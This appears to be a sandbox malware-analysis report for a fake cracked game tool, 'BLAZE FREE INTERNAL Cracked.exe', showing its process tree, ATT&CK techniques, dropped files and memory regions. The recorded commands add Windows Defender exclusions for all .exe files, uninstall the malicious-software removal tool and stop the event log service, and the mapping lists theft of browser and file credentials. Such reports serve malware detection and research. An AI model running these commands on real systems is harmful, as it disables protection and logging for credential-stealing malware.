- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart35⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart36⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 035⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 035⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 035⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 035⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog35⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"35⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"34⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"34⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"35⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"35⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"35⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"36⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"36⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"36⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"37⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"38⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"38⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"38⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"39⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force40⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart40⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart41⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 040⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 040⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 040⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 040⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog40⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"40⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"39⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"39⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"40⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"41⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"42⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\ProgramData\rabk\main.exeC:\ProgramData\rabk\main.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1System Services
2Service Execution
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
rabk.exe
svchost.exe
__PSScriptPolicyTest_mi13ykvd.zkn.ps1
ekbifccdjkoy.sys
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
memory/624-97-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/624-579-0x0000000000230000-0x0000000000E87000-memory.dmp
memory/1016-66-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/1064-297-0x00000000009C0000-0x0000000001617000-memory.dmp
memory/1176-88-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/1188-359-0x0000000007640000-0x000000000764A000-memory.dmp
memory/1188-307-0x00000000027D0000-0x0000000002806000-memory.dmp
memory/1188-325-0x0000000006460000-0x00000000064A8000-memory.dmp
memory/1188-317-0x0000000006050000-0x000000000609C000-memory.dmp
memory/1188-316-0x0000000006030000-0x000000000604E000-memory.dmp
memory/1188-315-0x0000000005C40000-0x0000000005F9B000-memory.dmp
memory/1188-311-0x0000000005960000-0x00000000059C6000-memory.dmp
memory/1188-312-0x00000000059D0000-0x0000000005A36000-memory.dmp
memory/1188-310-0x00000000058C0000-0x00000000058E2000-memory.dmp
memory/1188-308-0x0000000005240000-0x000000000588A000-memory.dmp
memory/1188-335-0x00000000702A0000-0x00000000702EC000-memory.dmp
memory/1188-334-0x0000000007440000-0x0000000007476000-memory.dmp
memory/1188-336-0x0000000070400000-0x000000007075B000-memory.dmp
memory/1188-341-0x0000000007480000-0x00000000074A0000-memory.dmp
memory/1188-343-0x00000000074A0000-0x0000000007543000-memory.dmp
memory/1188-355-0x0000000007C20000-0x000000000829C000-memory.dmp
memory/1188-356-0x00000000075E0000-0x00000000075FA000-memory.dmp
memory/1188-361-0x00000000076F0000-0x0000000007786000-memory.dmp
memory/1188-373-0x0000000007AD0000-0x0000000007AF2000-memory.dmp
memory/1188-374-0x0000000008860000-0x0000000008E1A000-memory.dmp
memory/1220-489-0x000002565F330000-0x000002565F3E2000-memory.dmp
memory/1356-72-0x0000000140000000-0x0000000140013000-memory.dmp
memory/1356-71-0x0000000140000000-0x0000000140013000-memory.dmp
memory/1356-69-0x0000000140000000-0x0000000140013000-memory.dmp
memory/1356-70-0x0000000140000000-0x0000000140013000-memory.dmp
memory/1356-68-0x0000000140000000-0x0000000140013000-memory.dmp
memory/1400-237-0x00000289CF760000-0x00000289CF812000-memory.dmp
memory/1436-610-0x0000000000590000-0x00000000011E7000-memory.dmp
memory/1568-462-0x0000000000040000-0x0000000000C97000-memory.dmp
memory/1676-144-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/1684-406-0x00000000004C0000-0x0000000001117000-memory.dmp
memory/1728-175-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/1836-289-0x0000000000760000-0x00000000013B7000-memory.dmp
memory/1916-508-0x0000000000FB0000-0x0000000001C07000-memory.dmp
memory/2032-153-0x000001CE63250000-0x000001CE63302000-memory.dmp
memory/2292-33-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2292-22-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2292-89-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2292-101-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2292-181-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2292-47-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/2468-437-0x00000000000F0000-0x0000000000D47000-memory.dmp
memory/2696-262-0x0000000000840000-0x0000000001497000-memory.dmp
memory/2732-484-0x0000000000620000-0x0000000001277000-memory.dmp
memory/2820-318-0x0000000000C10000-0x0000000001867000-memory.dmp
memory/2820-140-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/3296-532-0x0000000000CA0000-0x00000000018F7000-memory.dmp
memory/3436-399-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-290-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-611-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-559-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-230-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-477-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-533-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-449-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3436-332-0x0000000000200000-0x0000000000E57000-memory.dmp
memory/3488-326-0x00000000002A0000-0x0000000000EF7000-memory.dmp
memory/3532-304-0x0000000000870000-0x00000000014C7000-memory.dmp
memory/3604-469-0x00000000001A0000-0x0000000000DF7000-memory.dmp
memory/3776-547-0x0000000000F70000-0x0000000001BC7000-memory.dmp
memory/3960-164-0x0000020724D50000-0x0000020724E02000-memory.dmp
memory/3960-39-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/3960-46-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4140-24-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4140-32-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4140-26-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4140-23-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4224-149-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4268-31-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4268-29-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4280-93-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4512-476-0x0000000000860000-0x00000000014B7000-memory.dmp
memory/4528-136-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4528-391-0x0000000000C90000-0x00000000018E7000-memory.dmp
memory/4608-629-0x0000000000800000-0x0000000001457000-memory.dmp
memory/4704-107-0x0000000000AA0000-0x00000000016F7000-memory.dmp
memory/4776-77-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/4776-75-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/4776-76-0x0000000140000000-0x00000001408B4000-memory.dmp
memory/4868-398-0x0000000000600000-0x0000000001257000-memory.dmp
memory/4984-2-0x0000000000880000-0x00000000022C2000-memory.dmp
memory/4984-3-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4984-1-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4984-5-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4984-10-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4984-25-0x00007FFDAF520000-0x00007FFDAFEC4000-memory.dmp
memory/4984-0-0x00007FFDAF6AF000-0x00007FFDAF6B0000-memory.dmp
memory/5128-360-0x0000000000250000-0x0000000000EA7000-memory.dmp
memory/5244-231-0x0000000000E00000-0x0000000001A57000-memory.dmp
memory/5276-43-0x0000025CD7980000-0x0000025CD7A32000-memory.dmp
memory/5276-42-0x0000025CD7960000-0x0000025CD797E000-memory.dmp
memory/5276-44-0x0000025CD7740000-0x0000025CD774A000-memory.dmp
memory/5276-34-0x0000025CD76C0000-0x0000025CD76E2000-memory.dmp
memory/5332-618-0x0000000000560000-0x00000000011B7000-memory.dmp
memory/5388-64-0x0000027072110000-0x00000270721C2000-memory.dmp
memory/5612-220-0x00000000000C0000-0x0000000000D17000-memory.dmp
memory/5728-603-0x0000000000660000-0x00000000012B7000-memory.dmp
memory/5864-209-0x0000000000730000-0x0000000001387000-memory.dmp
memory/5960-414-0x0000000000460000-0x00000000010B7000-memory.dmp
memory/5972-540-0x0000000000590000-0x00000000011E7000-memory.dmp
memory/6072-554-0x0000000000090000-0x0000000000CE7000-memory.dmp